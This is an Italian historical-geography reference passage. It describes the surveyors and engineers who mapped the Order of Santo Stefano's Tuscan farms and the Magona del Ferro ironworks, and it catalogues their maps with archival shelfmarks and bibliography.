Dell’ampia produzione del Gugliantini, spicca la raccolta generale del 1808 che è conservata, con rappresentazione delle sole fattorie chianine, al Castello del Calcione della famiglia Della Stufa e anche, con allargamento alle altre 4 fattorie chianine ex granducali (più a 7 fattorie pure statali ubicate in vari contesti toscani), nell’Archivio di Stato di Praga/SUAP, RAT, Ferdinand III, ms 11, “Memoria sopra le possessioni della Corona di Toscana compilata dall’attual Direttore di questa branca d’Amministrazione Antonio Brissoni lì 1 marzo 1814” (Rombai, 1997, p. 90); e – relativamente alle sole 12 fattorie chianine – pure in ASF, Scrittoio delle RR. Possessioni, f. 3874, cc. 180-197 e 398-432, figure firmate da Jacopo Gugliantini e datate 1814; e in Biblioteca Marucelliana di Firenze, Fondo De Cambray Digny, ms. 11, Rapporto sui beni dell’Ordine di S. Stefano in Val di Chiana del 1808.
La raccolta del Gugliantini contiene anche una Pianta del corso delle acque delle Chiane dall’Arno fino in Paglia e Tevere che utilizza la consueta base topografica che risale agli anni ‘30 del XVIII secolo e fu costruita, o almeno utilizzata, dallo scienziato scolopio Odoardo Corsini nella sua nota memoria a stampa sulla Valdichiana.
E’ da notare che il cabreo Lotteringhi Della Stufa è corredato di una memoria introduttiva, evidentemente scritta dall’ingegnere stesso, sulle vicende della Valdichiana in generale ed in particolare sulle otto fattorie, che vengono descritte dettagliatamente (storia, modalità di gestione, rendite, abitazioni, natura e utilizzo del suolo, allevamento, ecc.).
Gugliantini è pure autore delle piante della Commenda Teri nel 1807 e della Commenda Buratti nel 1808, oltre che di varie figure sempre relative ad aree chianine. Dal disegno raffinato ed elegante, tra gli anni ‘90 del Settecento e gli anni ’20 dell’Ottocento, ha firmato il maggior numero di prodotti per le residue fattorie dell’Ordine, quelle chianine; non disdegnando neppure di vendere a privati (come dimostra il caso del notissimo cabreo attualmente conservato nella raccolta Lotteringhi Della Stufa del Calcione) i suoi prodotti che accoppiano l’arte alla tecnica, del resto adeguandosi con ciò ad una prassi diffusa e consolidata presso i mal pagati operatori territoriali al servizio del granduca o degli enti (Rombai, 1997, p. 127; Barsanti, 1997, pp. 229-233; Rombai, Toccafondi e Vivoli, 1987, p. 332; Guarducci e Rombai, 1999; Guarducci, 2002).

Alla categoria dei pubblici periti locali ed agrimensori di campagna appartengono non pochi altri tecnici:
Giovan Battista Ruscelli e Niccolò Montomoli (per la Valdichiana), e Bartolomeo Bonistalli (per il Pisano) nel primo Settecento (Bonistalli è anche autore, nel 1733, del disegno di un edificio pisano di proprietà dell’ordine, allivellato a privati), Francesco Betti per Lavaiana/Vaiana nel 1774-76 (autore dei disegni finali del cabreo del 1772-73 che rappresenta le fattorie granducali di Vico Pisano, Cascine di Bientina e Pianore), Pier Francesco Paoli per la Badia San Savino (cabreo del 1743) e, per la stessa fattoria, il trio Ranieri Maria Dini, Francesco Antonio Giari e Giuseppe Gini, con altri (cabreo del 1774-76) (di Giuseppe Gini, si ricorda una pianta del 1786 relativa ad un appezzamento di terra lungo il fiume Era in territorio pisano, popolo di Montecchio), e finalmente, per Il Pino, il gruppo di pubblici agrimensori costituito da Pietro Lucii (che si definisce “Agrimensore con Diploma” di Vico d’Elsa), Valeriano Carniani, Gaetano Del Re, Giovan Battista Montelatici, Francesco Renzi e Luca Antonio Billi nel 1775-77.
Emblematico appare l’esempio del cabreo della Badia San Savino del 1774-76 redatto soprattutto dagli autori agrimensori locali Ranieri Maria Dini, Francesco Antonio Giari e Giuseppe Gini, ma con il contributo di ingegneri architetti noti come Giovan Domenico Riccetti e Giovanni Franceschi: non a caso, le mappe disegnate da questi ultimi due operatori eccellono rispetto ai prodotti degli altri autori.
Giovan Domenico Riccetti, “che figura qui come agrimensore, ma altre volte si sottoscrive come ingegnere”, operò come “aiuto” presso l’Ufficio dei Fossi di Pisa nella seconda metà del Settecento e agli inizi del secolo successivo, fino a quando venne sostituito dal figlio Francesco Riccetti ha firmato inoltre, con Giovanni Andreini, la pianta della Commenda Giuliani nel 1791 e, con Ranieri Sbrana, quella del Priorato di Montepulciano Tonini Del Furia nel 1795, oltre ad una carta con i confini del territorio di Fauglia e Nugola, disegnata nel 1798, per dirimere una annosa controversia esistente con i proprietari fondiari. Inoltre, è autore di alcune piante della fine del Settecento relative a terreni appresellati nelle comunità di Lari, Pontedera e Santa Luce (Barsanti, Previti e Sbrilli, 1989, pp. 62-66; Barsanti, 1987, pp. 105, 112 e 114; Barsanti, a cura di, 1997, pp. 199-209; Rombai, Toccafondi e Vivoli, 1987, p. 408).

Produzione cartografica

Fattorie della Valdichiana:
Abbozzi di piante e spaccati delle fabbriche nuove fatte nelle fattorie della Sacra Religione di S. Stefano in Val di Chiana nell’ultimo novennio d’affitto, 1782 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 105/11);
Piante delle case al pulito [delle fattorie di Montecchio, Fonte a Ronco, Bettolle e Foiano], Stefano Diletti, Giovanni Franceschi e Domenico Puliti, 1779 (ASF, Scrittoio delle RR. Possessioni, f. 3874, cc. 1-178 e 324-397);
Disegni delle nuove Case e annessi dei Poderi delle Fattorie della Religione di Santo Stefano, 1793 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 290);
Beni dell’Imperatore Napoleone I, già dell’Ordine di Santo Stefano in Val di Chiana [Cabreo Della Stufa], Iacopo Gugliantini, 1808

Mulino della Chiana o della Chiusa dei Monaci ed edifici cittadini:
Pianta delle fabbriche e annessi del Molino di Chiana appartenente all’Insigne Militar Ordine di S. Stefano Papa e Martire, Giovanni Franceschi, 1797 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 106/1) e Jacopo Gugliantini, 1802-08 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 106 e 106/2);
Mulino e terreni adiacenti alla Chiana dell’Ordine di S. Stefano, Jacopo Gugliantini, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 107);
Pianta delle Fabbriche e dei terreni del Mulino di Chiana, Jacopo Gugliantini, 1809 (ASF, Scrittoio delle RR. Possessioni, f. 3874, c. 402);
Pianta del Palazzo in Montepulciano, secolo XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 234);
Pianta e facciata delle stalle e granai da fabbricarsi in Arezzo per la Religione di S. Stefano ordinata dal Nob. Sig. Amministr. Niccolò Gamurrini l’anno 1800, Jacopo Gugliantini e Angelo Lorenzo de’ Giudici, 1800 (ASF, Miscellanea di Piante, nn. 450-451);
Pianta e alzato della Casa posta in Arezzo appartenente alla Sacra Religione, Jacopo Gugliantini, 1804 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 25);
Piante delle Case poste in Cortona e a Monte S. Savino dell’Insigne Militar Ordine di Santo Stefano, Jacopo Gugliantini, 1804 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 289).

Fattoria di Bettolle:
Pianta della fattoria di Bettolle della sacra Religione di S. Stefano in Valle di Chiane, Giuliano Ciaccheri, 1684 (ASP, Santo Stefano, n. 2);
Carta delle colmate della Foenna nella Fattoria di Bettolle in Valdichiana, 1730-31 (ASF, Miscellanea di Piante, n. 754);
Carta topografica della Fattoria di Bettolle in Valdichiana dell’Ordine di S. Stefano, seconda metà del sec. XVIII (ASF, Miscellanea di Piante, n. 421);
Pianta della colmata grande del fiume Foenna nella Fattoria di Bettolle, Giovanni Maria Veraci, 1770 (ASP, Santo Stefano, n. 26);
Pianta e veduta della Chiavica da farsi sotto il fiume Foenna nella Fattoria di Bettolle, sec. XVIII (ASP, Santo Stefano, n. 11);
[Colmate della Foenna nella Fattoria di Bettolle], sec. XVIII (ASP, Santo Stefano, nn. 20, 38c, 40a, 40b);
[Colmata presso la Via Larga nella Fattoria di Bettolle], Raffaello Titii agrimensore aretino, sec. XVIII (ASP, Santo Stefano, n. 76);
Pianta della Fattoria di Bettolle dell’Ordine di S. Stefano, Jacopo Gugliantini, 1805-08 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 303);
Pianta della Fattoria di Bettolle, 1808 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 37);
Pianta della Fattoria di Bettolle in Val di Chiana dell’Insigne Militare Ordine di S. Stefano, Jacopo Gugliantini, 1808, (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 39).

Fattoria di Foiano:
Pianta della Fattoria di Foiano di S.A.S., 1652 (ASF, Piante dello Scrittoio delle Regie Possessioni, n. 100);
Pianta della fattoria di Foiano della Sacra Religione…, inizio del sec. XVIII (ASP, Santo Stefano, n. 13);
Pianta della Colmata che fa la Sac.a Relig.e di Santo Stefano nella fattoria di Foiano, prima metà del sec. XVIII (ASP, Santo Stefano, n. 27);
Carta delle colmate dell’Esse nella Fattoria di Foiano, prima metà del sec. XVIII (ASF, Miscellanea di Piante, n. 755);
[Colmate nella fattoria di Foiano], sec. XVIII (ASP, Santo Stefano, n. 39);
[Colmate dell’Esse nella Fattoria di Foiano], sec. XVIII (ASP, Santo Stefano, nn. 38a, 38b, 39b, 40, 41a, 41b, 41c);
Piante delle Fabbriche della Fattoria di Foiano, Jacopo Gugliantini ingegnere, 1798 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 324) (“copiato e ridotto”);
Pianta geometrica dell’attuale Colmata di Foiano, Jacopo Gugliantini, 1804 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 170);
Pianta di una porzione di terreni attenente alla Tenuta di Foiano dell’Ordine di S. Stefano e Pianta della Fattoria di Foiano, Jacopo Gugliantini, 1805 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 173);
Pianta della Fattoria di Foiano nella Val di Chiana appartenente all’Insigne e Militar Ordine di S. Stefano, Jacopo Gugliantini, 1807 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 171);
Pianta della Fattoria di Foiano, Jacopo Gugliantini ingegnere, 1807 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 172);

Fattoria di Fonte a Ronco:
Pianta della fattoria della Fonte All Roncho, Andrea Sandrini, 1608 (ASF, Miscellanea di Piante, n. 113/a);
Divisioni e spartimentj delle praterie externe, lungo l’argine di riparo, della tenuta di Fonte al Ronco dalli Confini del Bastardo fino alla Contea di Cesa: con linea che divide li Prati della Sacra Religione dalli pascoli comuni, consegnati a misura à lavoratori di detta Tenuta, inclusovi anche gli Prati delli Sig. Bruschierj per l’intiera dimostrazione della presente operazione, Giovan Battista Ruscelli agrimensore, 1724 (ASP, Santo Stefano, n. 3);
Distribuzioni e spartimenti delle praterie esterne l’argine di riparo della Tenuta del Pozzo, di Fattoria di Fonte al Ronco consegnati a misura à lavoratori di detta Tenuta, e numerate le porzioni per gli poderi al presente esistenti, come ancora per gl’altri da comporsi necessariamente in detta Tenuta, Giovan Battista Ruscelli agrimensore, 1724 (ASP, Santo Stefano, n. 4);
Pianta delle Gronde della Fattoria di Fonte al Ronco da Porto di Detta Fattoria fino a Prati affittati a Francesco Bruschieri di Arezzo, sec. XVIII (ASP, Santo Stefano, n. 9);
[Terreni della Fattoria di Fonte al Ronco in Valdichiana], sec. XVIII (ASP, Santo Stefano, n. 22);
[Pianta e veduta del palazzo di Fonte a Ronco], sec. XVIII, (ASP, Santo Stefano, n. 36);
Pianta della Tenuta di Font’a Ronco della Fattoria di tal nome dell’Ordine Insigne di Santo Stefano, 1780 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 180);
Piante delle Fabbriche della Fattoria di Fonte a Ronco, Jacopo Gugliantini ingegnere, 1798 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 322) (“copiate e ridotte”);
[Palazzo di Fattoria di Font’a Ronco], sec. XVIII (ASP, Santo Stefano, n. 11);
Riduzione progettata per la Casa di Fattoria a Fonte a Ronco, fine del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 181 e 182);
Pianta del Podere del Fossaccio nel Popolo di Alberoro Comunità di Civitella, sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 183);
Piante dei Poderi Pozzale e Poderina nei Popoli di San Bartolommeo a Badicorte Comunello di Marciano e di San Prospero a Montagnano Comunità di Marciano, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 184);
Pianta dei Poderi di Tegoleto, del Palazzo, Giardino e della Peluzza Popolo di Tegoleto Comunità di Civitella, addetti alla Fattoria di Font’ a Ronco in Val di Chiana, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 188);
Pianta del Podere alla Salciaia nel piano del Monte San Savino, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 185);
Pianta del Podere di Spoiano Popolo di Alberoro Comunità di Civitella, fine del sec. XVIII – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 186);
Pianta del Podere di Via Larga posto nella Cura di San Marco di Alberoro nella Fattoria di Font’ a Ronco, 1800 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 189);
Pianta della Colmata del Rio del Tegoleto nella Fattoria di Font’ a Ronco, 1801 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 187);
Pianta geometrica della Colmata da farsi col Fiume Esse nella Tenuta del Pozzo della Fattoria di Font’a Ronco, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 156);
Pianta della Tenuta addetta alla Fattoria di Font’a Ronco in Val di Chiana dell’Insigne Militare Ordine di Santo Stefano, Jacopo Gugliantini ingegnere, 1807 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 179).

Fattoria di Montecchio:
L’altra parte della Fattoria di Montecchio che seguita in verso Valiano, Andrea Sandrini, 1608 (ASF, Miscellanea di Piante, n. 113/b); Pianta dei Beni, e Chiana di Montecchio, del Ser. Prin.pe Card.le Gio. Carlo di Toscana, 1680 circa (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 198/III);
Pianta della Fattoria di Montecchio, Giovanni Franchi, 1710 (ASP, Santo Stefano, n. 1);
[Pianta della Fattoria di Montecchio della Religione fatta per la terminazione dell’Esse], sec. XVIII (ASP, Santo Stefano, n. 25);
[Colmata presso la Reglia di Bitorniolo nella Fattoria di Montecchio], sec. XVIII (ASP, Santo Stefano, n. 38 e 38e);
Pianta che mostra tutto il corso del Canal Maestro delle Chiane dal Callone di Valiano fino alla Pescaia dei Monaci d’Arezzo, il ramo di Montecchio e lo scolo del ramo di Montepulciano, Niccolò Montomoli, 1736 (copia del 1791) (Archivio storico di Foiano della Chiana, pezzo n. 875);
Pianta delle praterie di Brolio situate nella fattoria di Montecchio della Sacra Religione di Santo Stefano, Jacopo Gugliantini, 1783 (ASF, Scrittoio delle RR. Possessioni, f. 3874, c. 206);
Pianta delle Praterie di Brolio situate nella Fattoria di Montecchio, 1783-87 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 52);
Piante delle Fabbriche della Fattoria di Montecchio, Jacopo Gugliantini ingegnere, 1798 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 323) (“copiato e ridotto”);
Pianta della Fattoria di Montecchio nella Val di Chiana dell’Insigne Militare Ordine di Santo Stefano, Jacopo Gugliantini, 1806 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 219/1-4i);
Pianta dei Poderi Terzo e Quarto di Brolio appartenenti alla Fattoria di Montecchio della Religione di S. Stefano, 1809 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 51).
Fattoria di Creti:
Piante delle Fabbriche della nuova Fattoria di Creti, Jacopo Gugliantini, 1798 (ASF, Piante topografiche dello Scrittoio delle Regie Possessioni, n. 325) (“copiato e ridotto”);
Pianta della nuova Fattoria di Creti della Religione di Santo Stefano, Jacopo Gugliantini, fine del sec. XVIII -inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 139);
Pianta della Fattoria di Creti, Jacopo Gugliantini, fine del sec. XVIII secolo – inizio del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 141);
Fattoria di Creti, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 140);
Pianta geometrica che dimostra l’attual colmata della Mucchia nella Fattoria di Creti, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 237);
Pianta della Fattoria di Creti, Jacopo Gugliantini, 1808 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 142);
Colmata della Mucchia nella Fattoria di Creti, Jacopo Gugliantini, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 143).
Fattoria del Pozzo:
Disegno della Facciata per la nuova Fattoria della Tenuta del Pozzo dalla parte dello Stradone che porta al Canal Maestro, desunto dalla Pianta al medesimo respettiva, ove vi è notato ancora la misura delle altezze dei piani e lo delle finestre e porta d’ingresso, fine del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 267);
Pianta della Tenuta del Pozzo della Fattoria di Font’a Ronco dell’Ordine di S. Stefano, seconda metà del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 265);
Pianta dimostrativa della Tenuta del Pozzo in Val di Chiana, fine del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 268);
Disegno della Facciata per la nuova Fattoria della Tenuta del Pozzo dalla parte dello Stradone che porta al Canal Maestro, desunto dalla Pianta al medesimo respettiva, ove vi è notato ancora la misura delle altezze dei piani e lo delle finestre e porta d’ingresso, inizi del sec. XIX (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 267);
Pianta della Colmata da farsi col Fiume Esse nella Tenuta del Pozzo, 1802 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 157);
Piante, prospetti e vedute della fabbrica della nuova Fattoria del Pozzo con riduzione ed ampliamento di edifici antichi ubicati nelle vie del Filo e degli Olmi, Jacopo Gugliantini, 1806 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 158/1-6);
Pianta della Tenuta addetta alla nuova Fattoria del Pozzo in Val di Chiana, Jacopo Gugliantini ingegnere, 1807 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 266/1-2).

Fattoria di Tegoleto:
Poderi di Dorna a Uliveto, Dorna Rotta, S. Caterina e Granaio nella Fattoria di Tegoleto in Val di Chiana, seconda metà del sec. XVIII (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 84/1-3)
Pianta geometrica della Fabbrica e annessi posta nel Comune di Tegoleto Comunità di Civitella, 1808 (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 292);
Pianta dei Poderi della Tenuta del Tegoleto nella Val di Chiana, Jacopo Gugliantini, 1808 circa (ASF, Piante topografiche dello Scrittoio delle RR. Possessioni, n. 293/1-2).

Fattorie del territorio pisano – Badia San Savino:
Pianta di tutti i beni dell’Ill.ma, e Sacra Relig.ne de Cav.ri di S. Stef.no posti nella Tenuta di Mortaiolo e Prato e Terra lavorativa che gode l’Ill.ma Relig.ne nella Tenuta di Mortaiolo, Francesco Gaeta agrimensore, 1696-97 (ASP, Santo Stefano, n. 10);
Pianta del podere della Venerosa nel pop. di S. Donato a Montione della Badia di S. Savino, 1700 (ASP, Santo Stefano, n. 16);
Pianta di tutte le Prata delle Sedici dell’Ill.ma Sacra Religione di Santo Stefano P. e M. (…), Giovanni Domenico Rinaldi, 1714 (ASP, Santo Stefano, n. 6);
Terre nel Comune di Mortaiolo Log: D.o nel Faldo, anzi Nugola e Terre Pratate in Com: di Castell’Anselmo, Giovanni Domenico Rinaldi, 1725 (ASP, Santo Stefano, n. 7);
Terreni e Casa nel Com. ne di S. Donato a Montione, Bartolomeo Bonistalli, 1730 (ASP, Santo Stefano, n. 15);
Cabreo dei poderi, Pier Francesco Paoli, 1743 (ASP, Santo Stefano, n. 46);
Pianta dei Beni componenti già la Fattoria della Badia San Savino dell’Ordine di Santo Stefano allivellati a Diversi, Ranieri M. Dini, Francesco Antonio Giari, Giuseppe Gini, Giovanni Franceschi (ingegnere dell’Ordine) e Giovanni Domenico Riccetti (dell’Ufficio dei Fiumi e Fossi di Pisa), 1774-76 (ASP, Santo Stefano, n. 53);
Pianta delle praterie del Faldo della Fattoria della Badia S. Savino dell’Insigne Ordine di S. Stefano, poste nel Comune di Mortajolo, Potesteria di Cascinai, Giovanni Franceschi ingegnere, 1775 (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 399);
Libro di Piante dei Beni componenti l’alienata Fattoria della Badia a San Savino (…), Giovanni Caluri, 1791 (ASP, Santo Stefano, n. 49). Fattoria di Lavaiana:
[Pianta della fattoria di Lavaiana], 1624 (ASP, Santo Stefano, n. 37b);
Mappa del podere di Rigone o Corbinello e della presa La Girotta, Filippo Santini, 1732 (ASP, Santo Stefano, n. 29);
Fattoria della Vaiana, Francesco Betti, 1774-76 (ASP, Santo Stefano, n. 48).
Fattorie della Val d’Elsa e Val di Pesa. l Pino:
Pianta di Beni della Fattoria del Pino, diversi autori, fra cui Pietro Lucij da Vico “Agrimensore con Diploma”, Valeriano Carniani, Gaetano Del Re, Giovan Battista Montelatici, Francesco Renzi, Luca Antonio Billi, 1775-77 (ASP, Santo Stefano, n. 50).

Operatori

Ingegneri statali: Andrea Sandrini (fine XVI-inizio XVII secolo); Giuliano Ciaccheri (fine XVII secolo); Francesco Gaeta (1660-inizi XVIII secolo); Michele Gori? (1680 ca.); Giovanni Franchi (inizio XVIII secolo); Filippo Santini (inizio XVIII secolo); Giovanni Domenico Rinaldi (inizio XVIII secolo); Giovanni Caluri (fine XVIII-inizio XIX secolo); Luigi Orlandi (ingegnere, dal 1746); Giovanni Maria Veraci (ingegnere, in carica dal 1755 e fino al 1776 ca.); Giovanni Franceschi (aiuto ingegnere dal 1769); Jacopo Gugliantini (ingegnere, 1783-1808); Giuseppe Manetti (aiuto ingegnere dal 1802).
Agrimensori e periti locali: Giovan Battista Ruscelli, Niccolò Montomoli e Bartolomeo Bonistalli (tutti nel primo Settecento); Francesco Betti (1774-76); Pier Francesco Paoli (1743); Ranieri Maria Dini, Francesco Antonio Giari e Giuseppe Gini (tutti nel 1774-76); Pietro Lucii, Valeriano Carniani, Gaetano Del Re, Giovan Battista Montelatici, Francesco Renzi e Luca Antonio Billi (tutti nel 1775-77); Giovan Domenico Riccetti (seconda metà XVIII-inizi XIX secolo); Francesco Riccetti (inizi XIX secolo).

Rferimenti bibliografici e archivistici

Barsanti, 1984; Barsanti, 1987; Barsanti, a cura di, 1991; Barsanti, a cura di, 1997; Barsanti, Previti e Sbrilli, a cura di, 1989; Biagianti, 1990; Breschi et al., 1981; Pietro Leopoldo d’Asburgo Lorena, 1969, I; Giglia, 1997; Ginori Lisci, 1978; Ginori Lisci, 1985; Guarducci, 2002; Guarducci e Rombai, 1999; Orefice, 1982; Rombai, 1997a; Rombai, 1997b; Rombai, Toccafondi e Vivoli, 1987. La documentazione utilizzata è conservata nei ricchissimi fondi dell’ASF (Scrittoio delle RR. Possessioni e Piante topografiche dello Scrittoio delle RR. Possessioni) e dell’ASP (Ordine di Santo Stefano).

Anna Guarducci (Siena)

Magona del Ferro (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Magona del Ferro (1542-1816)

Amministrazione Imperiale e Reale delle Miniere e Magona (1816-1835)

I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro (1835-1851)

Amministrazione “Cointeressata Bastogi” (1851-1881)

La Magona del Ferro fu l’ufficio statale creato dal granduca Cosimo I dei Medici nel 1542 per gestire in regime di monopolio – mediante vari stabilimenti alimentati dalla forza idraulica dei corsi d’acqua locali e dal carbone vegetale dei boschi anche privati circostanti, via via costruiti o riconvertiti a Pistoia, nella sua campagna e nella Montagna Pistoiese (San Felice, Piastrelle, Candeglia, Capodistrada, Malconsiglio, Pracchia, Piteccio, Mammiano, Piteccio), nelle Apuane di Pietrasanta (Ruosina, Seravezza, Argentiera, Gatto, Cansoli, Cardoso) e nelle Maremme di Pisa e Siena (Cecina, Campiglia Marittima, Valpiana e Accesa) – l’importante e strategica industria della fusione in vari altoforni dei minerali ferrosi estratti nell’isola d’Elba, nonché di raffinazione e lavorazione del ferro greggio in innumerevoli ferriere e distendini o altre officine, con la vendita nel Granducato e all’estero dei prodotti (ghisa, semilavorati, manufatti vari per usi civili e militari).
Gli impianti della Magona – dopo una fase di declino e di gestione dell’azienda affidata ad appaltatori privati (1737-67) – sotto il principato di Pietro Leopoldo vennero dettagliatamente descritti nel 1768 dal visitatore e magoniere Carlo Setticelli, e in seguito notevolmente potenziati anche con l’apertura dei nuovi stabilimenti di Sestaione e Cutigliano nella Montagna Pistoiese, nonostante l’abolizione nel 1781 della privativa statale della fabbricazione e vendita del ferro. A tali interventi innovativi fece però seguito la chiusura dello stabilimento di Campiglia Marittima.
Nel 1814, con il passaggio al Granducato del Principato di Piombino, la Magona ereditò le miniere elbane e lo stabilimento siderurgico di Follonica, e con ciò l’industria statale poté irrobustirsi ulteriormente.
Nel 1816 fu cambiata la ragione sociale con la creazione dell’Amministrazione Imperiale e Reale delle Miniere e Magona, detta anche “Regia Mista” perché aperta al contributo di imprenditori privati ed inizialmente affidata alla gestione (fino al 1828, allorché lo Stato ne riassunse la guida) dei medesimi capitalisti.
Col motuproprio del 3 novembre 1835 venne istituita la I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro con sede decentrata a Follonica, località che, grazie al forte potenziamento degli impianti e alla costruzione pianificata di un paese intorno all’area produttiva, stava diventando il centro di gran lunga più importante della siderurgia toscana. La geografia degli impianti – tutti puntualmente descritti e cartografati, uno per uno, nel 1800 dall’ingegnere architetto Bernardino della Porta, in un atlante di 35 eleganti tavole planimetriche a colori – venne radicalmente ridisegnata con l’immediata privatizzazione di tutti quelli del Pistoiese e del Pietrasantino, e con la concentrazione degli investimenti nei poli produttivi di Follonica, il principale, di Cecina, Valpiana e Accesa (l’ultimo dei quali venne però chiuso nel 1851).
Con decreti del 13 giugno e 6 ottobre 1851, la I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro venne trasformata nell’Amministrazione “Cointeressata Bastogi”, vale a dire in una società per azioni pubblica e privata concessa in gestione al finanziere livornese Pietro Bastogi che tenne l’impresa fino al 1881.

Nonostante il tradizionale ricorso ad operatori tecnici per le esigenze di ricognizione, di progettazione ed esecuzione di interventi di ordine architettonico e territoriale (edifici, corsi d’acqua, strade, boschi), pare che fino ad allora non fosse presente un ingegnere nel ruolo dei dipendenti dell’azienda.
Solo il 21 ottobre 1839 compare l’architetto Luigi Leoni, per altro già da oltre un ventennio attivo nell’azienda siderurgica ove avrebbe ancora lavorato almeno fino agli anni ’70: con la qualifica prima di “scritturale”, poi di “segretario della direzione” (comportante il compenso annuo di lire 2800) e addirittura, nel 1870, di “commissario e amministratore” dello stabilimento di Follonica.
Luigi Leoni già nel 1818 stese una perizia del forno di Follonica (ASF, Magona, f. 2483). Nel 1828, quando si firma ancora come architetto delle Regie Fabbriche, eseguì la Recognizione dei locali, descrizione e perizia dei miglioramenti e dei deterioramenti rispetto alla situazione del 1828, in ASF, Magona. Appendice II, f. 256 mazzo n. 1 (Rombai e Tognarini, 1986, pp. 160 e 213; e Quattrucci, 1994, p. 148).
Nel 1852 stese – insieme a Pellegrino Papini – per il nuovo amministratore Bastogi il Rapporto sul riordinamento dell’alveo principale della valle di Rio nell’isola d’Elba con allegato una pianta, un profilo di livellazione e sezioni trasversali dell’ultimo tronco del torrente riese, in ASF, Magona; e I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 673 (cfr. Quattrucci, 1994, p. 204).
Soprattutto, il nostro tecnico affiancò Alessandro Manetti nel disegnare il piano urbanistico di Follonica all’inizio degli anni ’30 (Rombai e Tognarini, 1987).

Produzione cartografica

Pianta del forno di Valpiana, Dionisio Mazzuoli, 1712 (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 713, n. 19);
Pianta della costa di Massa e Follonica fino ai forni di Valpiana con le gore, Giuseppe Buonamici ministro a Massa, seconda metà del sec. XVIII (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 744, n. 12);
Pianta geometrica dei terreni di diretto dominio della Comunità di Massa ritenuti a livello nella Bandita del Comunale della Magona di S.A.R., Sebastiano Flosi ingegnere, seconda metà del sec. XVIII (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 744, n. 15);
Planimetria e alzato dei magazzini di marina a Follonica, Giovanni Gamberai, 8 gennaio 1773 (ASF, Magona, 2531, ins. H);
Pianta in proporzione che dimostra il terreno ad uso di pascolo di proprietà di S.A.R. tenuto in affitto dalla R. Magona di Cecina, Giovanni Gamberai, 25 aprile 1793 (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 722, n. 26);
Raccolta eterogenea di 79 mappe degli stabilimenti, di terreni e bandite, di fabbricati della Magona nella Montagna Pistoiese, nella Versilia e nella Maremma, con ponti e strade, gore e steccaie, secoli XVII e XVIII (in ASF, Magona, f. 2744);
Piante dimostrative, descrizione e stime degli edifici e fabbriche della Reale magona del Ferro, e legnami di Boscolungo fatte l’anno 1800, dall’ingegnere architetto Bernardino della Porta (in ASF, Magona, f. 2401: atlante di 35 tavole manoscritte colorate relative a tutti gli opifici magonali del Pistoiese, del Pietrasantino e delle Maremme);
Atlante di 72 mappe degli stabilimenti e fabbricati della Magona nella Montagna Pistoiese, nella Versilia e nella Maremma, primi decenni del XIX secolo (ASF, Magona, f. 2743);
